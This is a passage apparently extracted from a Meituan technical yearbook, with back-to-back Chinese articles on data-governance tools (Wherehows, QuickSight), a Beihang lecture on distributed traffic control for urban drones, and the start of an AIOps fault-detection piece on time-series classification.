在此过程中沉淀出了一系列的建模方法论、工具，并建立了相应的安全小组和指标运

营组织。同时，我们为后续增量数据治理确保数据建设“行不逾矩”，提供了强有力

的组织保障、稳定的辅助工具和严格的执行标准。在数据治理的第二阶段实现增量数

据的“行不逾矩”的过程中，我们主要围绕大数据架构审计、大数据安全与隐私管理

审计、大数据质量管理审计和大数据生命周期管理审计这四方面的工作展开，保障治

理工作的持续进行，不断提高了组织的治理水平。

5. 工具简介

5.1 数据地图（Wherehows）

数据地图作为元数据应用的一个产品，聚焦于数据使用者的“找数”场景，实现检索

数据和理解数据的“找数”诉求。我们通过对离线数据集和在线数据集的元数据刻

画，满足了用户找数和理解数的诉求，通过血缘图谱，完成物理表到产品的血缘建

设，消除用户人肉评估的痛苦。

离线数据场景

1. 关键字检索和向导查询共同解决了“找数据”的问题：大部分的检索数据场景下，

数据使用者都可以通过关键字检索来得到匹配结果。剩下的一小部分场景，例如，对

于新人入职后如何了解整个数仓和指标的体系（数仓分几层，每层解决什么问题，都

孵化出什么模型；整个指标、维度体系都是怎么分类，有哪些指标和维度），这部分场
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景可以使用向导查询功能。向导查询相当于分类查询，将表和指标按照业务过程进行

分类，用户可以按照分类逐步找到想要的表或指标。

2. 我们打通了业务元数据和技术元数据之间的关系，提高了“找数据”的能力：通

过“Wherehows”查找到指标后，不仅不可查看指标的业务定义，还能查看指标的

技术实现逻辑，指标在哪些维度或维度组合中已经实现，并且能够在哪张表里找到这

些维度，或维度组合的指标数据。反之，也可以知道在某个维度下已经实现了哪些指

标，对应的指标在哪些表里。这些功能能让用户更加方便地找到想要的数据。
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3. 我们提供了较为完善的数据信息，帮助用户更好理解数据：对于表的信息，

“Wherehows”除了提供表和字段的中英文名称、描述信息等基础信息外，为了帮

助用户更好地理解表的建设思路，我们还提供了表的星型模型（可以关联的一致性维

度及对应的维度表）、表的血缘关系等信息。
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4. 我们通过评论问答功能，帮助用户可以快速得到问题反馈：如果用户看了信息后还

是感到有问题，“Wherehows”提供评论问答的功能，用户通过这个功能可以进行

提问，会有相应的负责人进行回复。对于重复问反复问的问题，用户通过查看其它人

的提问和回复就能找到答案。并且负责人还会定期的将问答信息沉淀到对应的元数据

里，不断地对元数据进行补充和完善。

业务数据场景

业务数据场景主要想解决的一个问题是，如何知道一个业务表（MySQL 表）有没有

同步到数仓。如果没有同步，能够找谁进行同步。因为已经打通“业务表	->	数仓表	

->	产品”三者之间的血缘关系，我们能够轻松解决业务数据场景的问题。

生产评估场景

在日常数据生产工作中，我们经常需要对表进行影响评估、故障排查、链路分析等

工作，这些工作如果靠纯人工去做，费时费力。但现在我们已经打通了“业务表 / 字

段	->	数仓表 / 字段	->	产品”三者之间的血缘关系，就能够在 10分钟内完成评估工

作。对于不同的场景，血缘链路提供了两个便捷的功能：过滤和剪枝。例如，某个表
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逻辑需要修改，需要看影响哪些下游表或产品？应该要通知哪些RD和 PM？这种情

况下，血缘工具直观地显示影响了哪些负责人和产品，以及这个表的下游链路。
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有些表的链路很长，整个血缘关系图很大，这样会导致用户定位信息或问题。所以血

缘工具提供了剪枝的功能，对于没用的、不想看到的分支可以剪掉，从而让整个链路

变得更加直观。

5.2 数据可视化（QuickSight）

聚焦于数据使用者“取数”场景，使用QuickSight，用户可以不再关心数据的来源，

不再担心数据的一致性，不再依赖RD的排期开发。通过所选即所得的方式，满足了

用户对业务核心指标的二次加工、报表和取数诉求。首先，我们通过指标池、数据集

等概念对离线生产的指标进行逻辑隔离，针对不同用户开发不同的数据集以达到权限

控制的目的，如下图所示：

用户、指标池与数据集间的关系

其次，我们为用户提供一系列的组件，帮助用户基于为其开放的数据集实现指标的

二次加工和数据可视化功能，满足其在不同业务场景下的取数和可视化应用。如下

图所示：
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指标加工组件

6. 总结与展望

经过三个阶段的治理工作，我们在各个方面都取得了较好的效果：

	● 在数据标准方面，我们制定了业务标准、技术标准、安全标准、资源管理标

准，从而保障了数据生产、管理、使用合规。

	● 在数据架构方面，我们通过桥接表、时间刻度化、业务口径下沉等手段提升模

型灵活性，并保障数据一致性，消除跨层引用和模型冗余等问题。

	● 在数据安全方面，我们加强了对敏感数据和数据共享环节的安全治理，保证数

据拿不走、走不脱，隐私数据看不懂。
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	● 在元数据建设方面，我们打通了从采集到构建再到应用的整条链路，并为数据

使用人员提供数据地图、数据可视化等元数据应用产品，帮助他们解决了“找

数”、“取数”、“影响评估”等难题。

未来，我们还会继续通过组织、规范、流程等手段持续对数据安全、资源利用、

数据质量等各方面进行治理，并在数据易用性上下功夫，持续降低用户的数据使

用成本。

	● 在数据架构方面，随着数据库技术的飞速进步，现在已经有很多数据库能够支

持千万级乃至亿级数据的现算先用，我们也在尝试使用这些数据库帮助提升数

据开发效率，改善数仓分层管理和应用支撑效率。

	● 在数据产品方面，我们将持续完善数据地图、数据可视化等数据应用产品，帮

助用户快速探查、高效分析，真正发挥数据的业务价值。

作者简介
王鹏，2016 年加入美团点评，目前在配送事业部数据团队负责众包业务数据建设、数据治理和

系统化相关工作。

家豪，2018 年加入美团点评，目前在配送事业部数据团队负责众包业务数据建设、数据治理和

系统化相关工作。
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美团内部讲座｜北航全权：一种城市空中移动性管
理分布式控制框架

作者：全权

无人机交通以及最近兴起的空中移动性管理得到了广泛的关注。为此，波音、空客、

霍尼韦尔和贝尔等传统航空巨头以及Uber 等新兴世界级影响力的企业纷纷加入。本

报告提出了空中高速公路方案以及仿真测试。该方案基于时空大数据，考虑了交通网

络、航线规划和分布式控制设计。在空中高速公路上，每架无人机都有自己的规划的

航线，可以自主地自由飞行，从而支持密集立体的飞行交通。

1. 背景

今天我给大家带来我们实验室（北航可靠飞行控制研究组）做的一些工作，主要内容

是讲一种城市空中移动性管理分布式控制框架。

相信美团的同学一定也很非常期待实现无人机配送的一天早日到来。未来无人机配送

服务将会极大地改变我们目前的生活方式。尽管在人群密集的区域，我们仍然需要靠

人来完成配送服务，但是在人口比较稀疏，比如郊区等地带，使用无人机配送会更

好。报告表明，网联无人机将为产业带来 7~10 倍的产业机会，这也是我们在大概三

年前就开始着手做这方面相关的工作的原因。

无人机的交通网和交通管理，是否可以利用现有的交通方式呢？我们通过研究发现，

像传统的民航网其实是不适合的，民航的飞行器其实非常稀疏，在三维空间，整个网

络的变化频率是比较低的，有入网申请时，基本上是通过集中式的规划。而公路网络

尽管很密集，但是二维空间，因此交通网络管理也是偏自主的。铁路同样也是二维

的。网络动态变化是说就像我们上互联网一样，我们需要接入网络，而公路不可能马

上为我们修一条公路出来。无人机交通与公路、铁路具有共同点，不同的是无人机处

于三维空间，	网络动态变化比较高。因此我们在设计无人机飞行控制框架时，希望设

http://rfly.buaa.edu.cn/index.html
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计一种能够适应包括无人机的增加、网络的扩展等变化的框架。关于路径规划，其实

可以采用集中式加自主的方式来进行。关于这部分的内容我们今年发表了一篇综述文

章《低空无人机交通管理概览与建议综述》，感兴趣的同学可以参阅。

我们希望能够为低空持续增长无人机及应用提供一个低空的智能大脑。对于技术研究

来说话，低空高空的区别没有那么大，但目前我们主要是考虑低空多一些。比如说开

放 120 米以下的低空，它的特点在于这些地方会有非常多的建筑，如果无人机掉下来

的话，会对下方区域的人身及财产安全造成一些危害，这是对我们城市交通的一个非

常大的挑战。因此我们主要考虑以下三个需求：	-	规划无人机的航线、起飞时间，确

保无人机在避免冲突的前提下起飞：无人机航线起飞时间跟我们目前坐飞机的感觉是

一样的，有时候飞机会停在某个地方延迟起飞，目的是为了不与其他飞机在航路上发

生碰撞及冲突，当然有时候也会因为天气等原因，需要飞机延迟起飞，因为飞机在地

面等待，代价是最小的。	-	在避免碰撞的前提下顺利完成飞行任务	-	应对天气、禁

飞区等不确定因素的影响：无人机临时在飞行过程中，我们有时需要切断某些航线，

这种情况下，我们希望飞行器仍然能够能够飞到目的地，至少它能安全的回到附近的

机场。

2. 空中高速公路基础：网络和时空大数据

开展空中高速公路研究，我们需要有网络和时空大数据的一些研究基础。

http://hkxb.buaa.edu.cn/CN/10.7527/S1000-6893.2019.23238


190　>　美团 2020 技术年货

首先我们需要有通信、导航、监视功能等基础设施，这些功能充当着整个无人机交

通管理系统的眼睛、耳朵和神经系统，负责态势感知和信息传输。其中，通讯就是

4G/5G、卫星通讯等，这是我们的网络。导航是我们飞行器需要导航，比如说通过基

站定位、雷达、卫星、惯导以及视觉的导航。而监视跟导航的区别在于导航是给飞行

器用的，监视是我们作为官方需要了解飞行器在空中的动态。有些飞行器可能会自己

导航，通过导航或者通信告诉地下的地面站，这样的话我们可以监视。但有些飞行器

是航模，没有通讯的功能，只能被动的被看到，那么我们可以通过一些可见光、声波

等来监视，还有飞行器可能通过一些ADS-B等来广播自己的信息。因此通过以上这

些功能，可以实现我们对飞行器飞行周边环境的了解，地面对空中环境的了解，这是

我们做空中高速公路研究的一个基础。

另一方面，我们需要时空大数据的支撑。首先我们需要了解所有禁飞区，禁飞区也会

动态的变化。其次我们需要了解气象大数据，以便我们规划飞行器避开极端天气。同

时我们也需要获取地理大数据的信息，比如通过地理大数据我们可以了解什么位置有

障碍物，哪些区域下方是草地等，根据这些信息可以进一步的提取一些信息，来规划

飞行器的航路、航路网等以及规划飞行器的航线。另外我们还可以通过移动互联网知

道哪些地方人口密集，这样在规划航路网或者航线的时候，就能避开这些人口密集的

地方。以上这些都是我们研究需要的时空大数据基础。

前面提到，网络是我们研究空中高速公路的基础，目前在空中交通，主要是通过网络

来分享信息。但是网络会有网络质量，那么网络质量与飞行安全是什么样的关系呢？

网络质量通常由三个因素决定：噪声，延迟，丢包（Packet	Loss）。由于网络质量原

因，无人机获取到的障碍物位置，和障碍物实际的位置可能就不一样了。以下图为

例，无人机估计自身的位置产生了偏差，随之估计障碍物位置也发生了偏差。因此我

们需要设计一个飞行的安全距离，以应对网络质量造成的这种不确定性。这跟我们在

高速公路上开车需要保持车间距是一个道理，我们车间距这个概念用到无人机的空中

交通，希望以此来应对这些丢包延迟。当然也有人通过一些控制的方法来解决这些问

题，我们这种方法应该更适合交通的场景。
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传统的空中交通的距离没有这么复杂，飞机之间的距离间隔非常远，那么无人机之间

的距离应该怎么来控制呢？通过研究，我们认为无人机的安全半径应该满足上图中的

关系，rm是飞行器本身的半径，ro 是障碍物本身的半径，rv 是跟飞行器速度以及机

动性相关的，re 表示网络的影响。网络影响怎么来理解？延迟丢包率是Θ，如果丢

包率为 1的话，那就表示飞机完全失联了。从保守角度来说，飞行器可能在任何位

置。所以Θ越接近于 1，安全半径越大，τd表示延迟，网络传递会有延迟。有些同

学可能认为像我们现在打电话的延迟已经非常小了，但是在空中，我们通过实验证实

网络存在一定的延迟，另一方面丢包率会随着距离的增加而增加。因此，我们需要对

网络影响进行评估，根据评估结果设计飞行器安全半径。在安全半径下，可以认为飞

行器没有网络噪声，是完全精确的，只要保证两个飞行器的安全半径不相交，那么飞

机器肯定不会相撞，这就是我们安全半径的设计。

另一方面，我们需要通过一些数据做风险评估，如下图所示，至少有两个因素：事故

概率评估（fGIA）和事故伤亡评估。事故概率评估就是说飞行器不连续飞行就坠落的

可能性，可以通过统计方法预估。无人机相比于飞机的一个好处是，即使坠落也未必

会砸伤人。飞行器坠落有一个暴露模型，比如说掉落到树上或者房顶上对人的影响就

会比较小。因此我们需要有地理信息支撑，一旦飞行器需要迫降，我们可以通过地理
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信息找到比如草坪等适合迫降的地带。同时暴露模型也与人口密度相关。而伤害模型

与飞行器设计相关，与飞行器下落的动量相关。以上这些因素共同得到风险评估，可

以用来进行航路网规划、路径规划、紧急迫降等。制定相关标准，相关法律法规的部

门会比较关心飞行器的风险评估，一些风险评估公司也会基于风险评估结果去举证飞

行器的风险究竟有多大。

3. 空中高速公路

空中高速公路分为模型建立，算法设计，实验验证三部分为大家介绍。其中，模型建

立分为两种：航路网模型和无人机模型，我们管理无人机需要对无人机进行建模，而

地面也需要给无人机发送指令，这相当于一个标准的模型；算法方面可以分为集中式

空中交通控制和分布式空中交通控制，集中式可以认为所有的指令都是由地面站给飞

行器发的，飞行器之间互不通信，通信完全通过地面来协调，而分布式相对来说更加

灵活一些。最后是我们的仿真和实验。
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3.1 模型建立

3.1.1 航路网模型

航路网模型可以认为是节点和边构成的一个网络。我们的设计目标是不同航路的无人

机相互不干扰，保持安全距离。如果飞行器在不同航道上面，比如说一条公路上面有

两个方向，但不同航道上面的飞行器，需要保持相应的安全距离，类似两条路，它们

之间的夹角非常小，要往一个节点过去，如果夹角小到一定程度的话，那么不同航道

上的两个飞行器之间的距离就很近了，就可能会有危险。在实际过程中，我们无法得

知无人机的具体位置，只能知道一个大概的不是特别精准的位置，因此就需要无人机

之间保持安全距离。
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航路网建网需要对空域有了解，刚刚前面我们提到的地理信息，人口信息。如下图所

示，可以认为黑色区域为禁飞区，它有两种，一种是比较稀疏的，一种是比较密集

的。无论哪一种，都可以通过节点把它们连接在一起，这些节点可能是飞行器的起降

点，还有一些节点可能是航路的交叉点，就像公路的交叉路口一样。

航路网建网有两个优化目标，一是希望航路网的总长度越短越好，因为建设航路网，

这也相当于一个基建工程，需要保证航路网上面的通信、导航、监视，这些都需要成

本；二是希望航路网的风险最低，考虑到比如人口密度等因素，我们希望画出下图所

示的航路网，但是这是一个多目标的优化问题。

我们在航路网建模上做了一些工作，用了下图的几种方法。

	● 首先是形态学骨架法，这个跟图像处理的骨架类似，给定一张图片需要生成它

的骨架。原理很简单，黑色是危险的边界，生成的骨架就是这些航路，航路和

两边的距离要尽可能的远。

	● 其次是三角剖分法，连接 3个点的最短路径不是把三个边连成一个三角形，可

能是通过费马点把它们连在一起。

	● 最后是综合法，形态学骨架法适合密集的地图，而三角法更适合稀疏的地图，
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综合法兼顾密集与稀疏两种情况，通过半自动的方式建成航路网。

形态学骨架法的实现过程如下图所示，首先是骨架提取，有些同学可能会问为什么骨

架提取之后会产生这些变量，这是是因为我们要保证提取出来的骨架距离两边黑色危

险区的距离要大于一定的阈值，如果不满足的话，就要断开去除，之后再进行直线拟

合。当然还要在里面加入一些目标点，与整个网络连接在一起。最后需要提取图的结

构，把节点和边的关系按照图论的建模方式提取出来。
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三角剖分法就是通过费马点把这些节点连接在一起，有些边会穿过障碍物，我们再通

过优化方法避开，最后形成一个网络。另外，我们可以将人口密度等因素等效为黑色

禁飞区添加到地图中。通常在地图中，“1”表示有障碍物，“0”表示没有障碍物。我

们在航路网建模中做了一个进一步的工作，用 0～ 1之间的概率来表示，有些禁飞区

比如墙等是绝对不能飞进去的，但是有些区域人口稀疏一些，就不适合用“1”来表

示，这种情况下可以使用 0.4、0.5 这样的概率来表示。我们希望能够通过这种方式

来构建航路网，这在下图中没有体现。

综合法就是在下图这种情况下，我们在障碍物密集区内部使用形态学骨架法来做，在

外部稀疏区使用费马点来做，最后把它们联立成网络。有时候我自己的学生会问我，

什么叫密集的，什么叫稀疏的？我觉得不要考虑这个问题，自己来判断，因为航路网

建模不是一定要完全自动化的过程，而且一旦建成之后以后就不需要改变了，所以在

建模的过程中需要人为的去确定每个区域的航路网是什么形状。这样就能很好的兼顾

上述两种方法，最终形成不同的航路网。
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下图是航道的抽象结构示意图，航道内部我们参考了目前的高速公路，中间有一个

隔离带，这个隔离带就是我们前面提到的两架飞行器之间的安全距离，它可以是双

向的。

另一方面，航路网的节点也有结构，如下图所示，我们一般是以圆柱形结构。节点有

多个航道相接，需要考虑不同航道的飞行器不能间隔太近，因此需要增加节点的半

径，确保不同航道的飞行器间隔足够远。
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航路网有抽象的结构，内部也有具体的结构，通过一些约束条件，确保不同飞行器在

任何情况下都能大于安全距离，这就让我们知道怎样去设计整个航路网。

3.1.2 无人机模型

我们需要对无人机发出指令，这就需要有一定的标准的接口，接口我们有一些模态比

如断电模态、等待授权模态、预位模态、飞行模态、避障模态、迫降模态给无人机发

指令，这样的话，无人机就相当于被我们的交通控制系统控制了。这个接口我们目前

还不是那么标准，我希望最终我们能有一套空中交通系统的标准。
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3.2 算法设计

低空交通控制算法包括集中式空中交通控制和分布式空中交通控制。

3.2.1 集中式空中交通控制

集中式控制可以分为两个部分：离线规划和在线控制。离线规划就是说飞机起飞前需

要申报自己的飞行计划，然后接受审核。如果当前的航路网非常堵塞的话，那么审核

就不会通过，就需要等待或者重新申报飞行计划。如果审核通过的话，就会产生一个

包含起飞时间、地点等信息的待飞计划，将待飞计划写入空中交通管理系统的数据库

中，进而对空中交通情况进行预测。

但是飞行器在飞行过程中受天气、本身状态等因素影响会有很多不确定性，飞行器的

飞行速度变化就会产生冲突。因此在飞行器飞行过程中，我们需要对飞机进行一些定

量的控制，这就是飞行器的在线控制。我们可以通过控制飞行器的高度、速度等，使

它能够避免冲突，如果在整个航路网中冲突无法避免，那么我们肯定不希望发生多米

勒骨牌一样的效应，因为局部一个因素，使整个航路网都发生变化。避免冲突最简单

的方法就是避障，一个飞行器向上飞，一个飞行器向下飞，这是空中交通的优势，汽

车没有办法做到，大概是这样一个逻辑。
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以下是基于集中式的低空交通控制系统中几个关键模块的算法过程：

计划审核求解算法

	● 步骤一：获取新加入的无人机	i	的避障距离	ra 和计划信息合集 Ui；

	● 步骤二：更新航路网信息 A 和当前时刻 t，通过Dijkstra 算法得到无人机的航

路点	hi，并计算飞完全程所需的时间 Ti；

	● 步骤三：对无人机	i	解优化问题；

	● 步骤四：若有解则直接执行步骤五；若无解且原因是冲突问题，则判断与其发

生冲突的无人机们优先级	priorityk	,	k	∈	Ui	,collision 是否均小于自己。若是则

拒绝无人机	k	的申请后执行步骤五	，否则拒绝无人机	i	的申请	，	等待	Twait	时

长后执行步骤二；若无解且原因是容量问题，	则暂时先令超容对应的航路固定

容量为	0	，再执行步骤二；其余情况均建议过	Twait	时长后执行步骤二	；

	● 步骤五：如果满足超时约束条件，则反馈无人机航路点和起飞时间；否则建议

过	Twait	时长后执行步骤二。
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冲突检测和流量控制求解算法

	● 步骤一：获取预估时间	Tmax 和避障距离	ra	；

	● 步骤二：更新航路网信息 A	，当前时刻	 t	，所有已通过起飞授权的无人机信息	

Ui	 ,	 i	∈	Uactive	。对已通过起飞授权的无人机进行冲突检测，若有冲突无人

机则输出发生冲突的无人机	Ui	,collision 和可能的冲突时间；否则执行步骤五；

	● 步骤三：解优化问题；

	● 步骤四：若有解则输出无人机在当前航路的新速度V	ni,cur-1,ni,cur,new；若

无解则输出事件刺激无人机启动自身防碰撞算法	；

步骤五：间隔	Tmax 时长后	，执行步骤二。

异常处理求解算法

考虑异常天气、交通管制等（外部因素）产生的冲突进行改航。
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	● 步骤一：获取航路网信息 A，受影响的航路 Eban，受影响的节点 Vban，所有

已通过起飞授权的无人机计划信息 Ui	,i	∈	Uactive；

	● 步骤二：将受影响的航路 Eban 和节点 Vban 剔除，更新航路网信息 A；

	● 步骤三：通过比对计划信息 Ui	 ,i	 	∈	Uactive 中的航路点 hi，筛选出受影响的

无人机集合 Uban，若 Uban	=	ф则输出无影响并终止程序；否则执行步骤四；

	● 步骤四：对受影响的无人机采用迪杰斯特拉算法，输出新的航路点 hi	 ,	 i	∈	

Uban 并更新 Ui	,	i	∈	Uban。

3.2.2 分布式空中交通控制

集中式空中交通控制系统中如果有某架飞行器要改变飞行计划，那么与之相关的所

有无人机都需要重新在线规划，更新飞行计划，且规划复杂度随飞机增加而增大。

因此，集中式框架计算复杂度太高了，我们希望有另一种框架。就像开车一样，我

们要导航去哪个地方，地图告诉我们从 a 到 b 点怎么走。这个规划是我们在开车之

前，地图就给我们设计好的。对于飞行器来说，起飞之前系统会根据空中交通情况

确定飞行计划，但一旦起飞之后，就由飞行器自主决定怎么做，这就是分布式整体

的框架。分布式框架把很多控制从地面站转移到了飞行器上，每个飞行器只管自己，

整体上是有组织的，但在飞行过程中，飞行器会按照一定协议，与其他飞行器避

障。这一部分我们提出一个概念叫 Sky	Highway	空中高速公路，我们有一篇论文

《Sky	Highway	Design	for	Dense	Traffic》简单的阐述了我们整个的思路，感兴

趣的同学可以看一下。

关于航路避障的话，飞机可以直接在航道上进行一些避障的飞行，为了增加整个航路

网的带宽，我们在节点处做了一些设计，比如说这个节点是为了改变方向的，我们也

希望飞行器能够直接通行，这样话就不用等待。如果是多个航道相交的话，这叫做交

叉节点，也就是交叉路口。平时我们经过交叉路口时，最常见的是红绿灯，但是红绿

灯就意味着飞机要在这里等待。所以目前我们采取了环岛结构，应对像红绿灯这种低

效率的等待策略。然后控制，我们大体上是像人工势场法这种思路来进行的，保证无

人机在航道里面往前飞行，同时又不卡死。人工势场法有一些缺点，有可能会导致卡

死，比如说我们大家都往一个点走，那可能谁都到达不了这个点，大家都想到达，但

https://arxiv.org/abs/2010.09159
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是无法同时到达，这就是卡死问题。我们目前把这些问题都解决了。然后还有环岛，

我们做了比较细的一些研究，飞行器都能进入航道，又能够顺畅的出去，这个环岛设

计算是我们的一个创新。

3.3 仿真与实验

最后来介绍一下我们的仿真，我们自己搭建了MATLAB的一个仿真环境，其中有航

路网信息，待审核无人机的信息，输入的禁飞区的信息等等，如下图所示：
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我们在实验室也做了一些相应的平台，用这种定位设施来做，如下图所示：
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4. 总结与展望

无人机空中交通或城市空中移动是大势所趋，无线网络和时空大数据是交通的基础，

同时交通设计也对网络提出了新需求。我们对空中高速公路做了一系列的工作：

	● 设计了航路网模型和无人机模型、基于集中式的低空交通控制算法，以及最重

要的基于分布式的低空交通控制算法，在确保无人机安全飞行的前提下增大了

流量。

	● 搭建了仿真和实验平台，并通过用例测试验证了基于集中式的低空交通控制算

法和基于分布式的低空交通控制算法的可行性。

	● 未来我们希望继续在以下方面开展工作：

	● 提升飞行状态预估算法效率。

	● 机场高效调度。

	● 固定翼飞行器的调度算法。

	● 异构系统（旋翼机和固定翼混合空域）鲁棒性调度算法。

	● 半物理仿真空管测试系统开发。

	● 基于真实场景的飞行验证。

5. 作者简介



AIOps 在美团的探索与实践——故障发现篇

作者：胡原　锦冬　俊峰　长伟　永强

一、背景

AIOps，最初的定义是Algorithm	IT	Operations，是利用运维算法来实现运维的自

动化，最终走向无人化运维。随着技术成熟，逐步确定为Artificial	 Intelligence	for	

IT	Operations——智能运维，将人工智能应用于运维领域，基于已有的运维数据

（日志、监控信息、应用信息等），通过机器学习的方式来进一步解决自动化运维无法

解决的问题。

早期的运维工作大部分是由运维人员手工完成的，手工运维在互联网业务快速扩张、

人力成本高企的时代，难以维系。于是，自动化运维应运而生，它主要通过可被自动

触发、预定义规则的脚本，来执行常见、重复性的运维工作，从而减少人力成本，提

高运维的效率。总的来说，自动化运维可以认为是一种基于行业领域知识和运维场

景领域知识的专家系统。随着整个互联网业务急剧膨胀，以及服务类型的复杂多样，

“基于人为指定规则”的专家系统逐渐变得力不从心，自动化运维的不足，日益凸显，

当前美团在业务监控和运维层面也面临着同样的困境。

DevOps 的出现，部分解决了上述问题，它强调从价值交付的全局视角，但

DevOps 更强调横向融合及打通，AIOps 则是 DevOps 在运维（技术运营）侧的高

阶实现，两者并不冲突。AIOps 不依赖于人为指定规则，主张由机器学习算法自动地

从海量运维数据（包括事件本身以及运维人员的人工处理日志）中不断地学习，不断

提炼并总结规则。AIOps 在自动化运维的基础上，增加了一个基于机器学习的大脑，

运维 / 安全
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指挥监测系统采集大脑决策所需的数据，做出分析、决策，并指挥自动化脚本去执行

大脑的决策，从而达到运维系统的整体目标。综上看，自动化运维水平是AIOps 的

重要基石，而AIOps 将基于自动化运维，将AI 和运维很好地结合起来，这个过程需

要三方面的知识：

1.	行业、业务领域知识，跟业务特点相关的知识经验积累，熟悉生产实践中的

难题。

2.	运维领域知识，如指标监控、异常检测、故障发现、故障止损、成本优化、

容量规划和性能调优等。

3.	算法、机器学习知识，把实际问题转化为算法问题，常用算法包括如聚类、

决策树、卷积神经网络等。

美团技术团队在行业、业务领域知识和运维领域的知识等方面有着长期的积累，已经

沉淀出不少工具和产品，实现了自动化运维，同时在AIOps 方面也有一些初步的成

果。我们希望通过在AIOps 上持续投入、迭代和钻研，将之前积累的行业、业务和

运维领域的知识应用到AIOps 中，从而能让AIOps 为业务研发、产品和运营团队赋

能，提高整个公司的生产效率。

二、技术路线规划

2.1 AIOps 能力建设

AIOps 的建设可以先由无到局部单点探索，在单点探索上得到初步的成果，再对单点

能力进行完善，形成解决某个局部问题的运维AI 学件，再由多个具有AI 能力的单运

维能力点组合成一个智能运维流程。行业通用的演进路线如下：

1.	开始尝试应用AI 能力，还无较为成熟的单点应用。

2.	具备单场景的AI 运维能力，可以初步形成供内部使用的学件。

3.	有由多个单场景AI 运维模块串联起来的流程化AI 运维能力，可以对外提供

可靠的运维AI 学件。
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4.	主要运维场景均已实现流程化免干预 AI 运维能力，可以对外提供供可靠的

AIOps 服务。

5.	有核心中枢AI，可以在成本、质量、效率间从容调整，达到业务不同生命周

期对三个方面不同的指标要求，可实现多目标下的最优或按需最优。

所谓学件，亦称 AI 运维组件 [1]（南京大学周志华老师原创），类似程序中的 API 或

公共库，但API 及公共库不含具体业务数据，只是某种算法，而AI 运维组件（或称

学件），则是在类似 API 的基础上，兼具对某个运维场景智能化解决的“记忆”能

力，将处理这个场景的智能规则保存在了这个组件中，学件（Learnware）=	模型

（Model）+规约（Specification）。AIOps 具体的能力框架如下图 1所示：

图 1　AIOps 能力框架图
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2.2 关联团队建设

AIOps 团队内部人员根据职能可分为三类团队，分别为SRE团队、开发工程师（稳

定性保障方向）团队和算法工程师团队，他们在AIOps 相关工作中分别扮演不同的

角色，三者缺一不可。SRE能从业务的技术运营中，提炼出智能化的需求点，在开

发实施前能够考虑好需求方案，产品上线后能对产品数据进行持续的运营。开发工程

师负责进行平台相关功能和模块的开发，以降低用户的使用门槛，提升用户的使用效

率，根据企业AIOps 程度和能力的不同，运维自动化平台开发和运维数据平台开发

的权重不同，在工程落地上能够考虑好健壮性、鲁棒性、扩展性等，合理拆分任务，

保障成果落地。算法工程师则针对来自于SRE的需求进行理解和梳理，对业界方案、

相关论文、算法进行调研和尝试，完成最终算法落地方案的输出工作，并不断迭代优

化。各团队之间的关系图如下图 2所示：

图 2　AIOps 关联团队关系图
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2.3 演进路线

当前，我们在质量保障方面的诉求最迫切，服务运维部先从故障管理领域探索AIOps

实践。在故障管理体系中，从故障开始到结束主要有四大核心能力，即故障发现、告

警触达、故障定位、故障恢复。故障发现包含了指标预测、异常检测和故障预测等方

面，主要目标是能及时、准确地发现故障；告警触达包含了告警事件的收敛、聚合和

抑制，主要目标是降噪聚合，减少干扰；故障定位包含了数据收集、根因分析、关联

分析、智能分析等，主要目标是能及时、精准地定位故障根因；故障恢复部分包含了

流量切换、预案、降级等，主要目标是及时恢复故障，减少业务损失，具体关系如下

图 3所示：

图 3　故障管理体系核心能力关系图

其中在故障管理智能化的过程中，故障发现作为故障管理中最开始的一环，在当前海

量指标场景下，自动发现故障和自动异常检测的需求甚为迫切，能极大地简化研发策

略配置成本，提高告警的准确率，减少告警风暴和误告，从而提高研发的效率。除此

之外，时序数据异常检测其实是基础能力，在后续告警触达、故障定位和故障恢复环

节中，存在大量指标需要进行异常检测。所以将故障发现作为当前重点探索目标，解
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决当前海量数据场景下人工配置和运营告警策略、告警风暴和准确率不高的核心痛

点。整个AIOps 体系的探索和演进路线如下图 4所示。每个环节均有独立的产品演

进，故障发现 -Horae（美团服务运维部与交易系统平台部共建项目）、告警触达 -告

警中心、故障定位 -雷达、故障恢复 -雷达预案。

图 4　AIOps 在故障管理方面的演进路线

三、AIOps 之故障发现

3.1 故障发现

从美团现有的监控体系可以发现，绝大多数监控数据均为时序数据（Time	Series），

时序数据的监控在公司故障发现过程中扮演着不可忽视的角色。无论是基础监控

CAT[2]、MT-Falcon[3]、Metrics（App 端监控），还是业务监控Digger（外卖业务监

控）、Radar（故障发现与定位平台）等，均基于时序数据进行异常监控，来判断当前

业务是否在正常运行。然而从海量的时序数据指标中可以发现，指标种类繁多、关系

复杂（如下图 5所示）。在指标本身的特点上，有周期性、规律突刺、整体抬升和下

降、低峰期等特点，在影响因素上，有节假日、临时活动、天气、疫情等因素。原有

监控系统的固定阈值类监控策略想要覆盖上述种种场景，变得越来越困难，并且指标

数量众多，在策略配置和优化运营上，人力成本将成倍增长。若在海量指标监控上，

能根据指标自动适配合适的策略，不需要人为参与，将极大的减少SRE和研发同学

在策略配置和运营上的时间成本，也可让SRE和研发人员把更多精力用在业务研发

上，从而产生更多的业务价值，更好地服务于业务和用户。
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图 5　时序数据种类多样性

3.2 时序数据自动分类

在时序数据异常检测中，对于不同类型的时序数据，通常需要设置不同的告警规则。

比如对于CPU	Load 曲线，往往波动剧烈，如果设置固定阈值，瞬时的高涨会经常

产生误告，SRE和研发人员需要不断调整阈值和检测窗口来减少误告，当前，通过

Radar（美团内部系统）监控系统提供的动态阈值策略，然后参考历史数据可以在一

定程度上避免这一情况。如果系统能够提前预判该时序数据类型，给出合理的策略

配置建议，就可以提升告警配置体验，甚至做到自动化配置。而且在异常检测中，

时序数据分类通常也是智能化的第一步，只有实现智能化分类，才能自动适配相应

的策略。

目前，时间序列分类主要有两种方法，无监督的聚类和基于监督学习的分类。Yad-

ing[4] 是一种大规模的时序聚类方法，它采用PAA降维和基于密度聚类的方法实现快

速聚类，有别于K-Means 和 K-Shape[5] 采用互相关统计方法，它基于互相关的特

性提出了一个新颖的计算簇心的方法，且在计算距离时尽量保留了时间序列的形状。

对 KPI 进行聚类，也分为两种方法，一种是必须提前指定类别数目（如 K-Means、

K-Shape 等）的方法，另一种是无需指定类别数目（如DBSCAN等），无需指定类

别数目的聚类方法，类别划分的结果受模型参数和样本影响。至于监督学习的分类方

法，经典的算法主要包括 Logistics、SVM等。
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3.2.1 分类器选择

根据当前监控系统中时序数据特点，以及业内的实践，我们将所有指标抽象成三种类

别：周期型、平稳型和无规律波动型 [6]。我们主要经历了三个阶段的探索，单分类器

分类、多弱分类器集成决策分类和卷积神经网络分类。

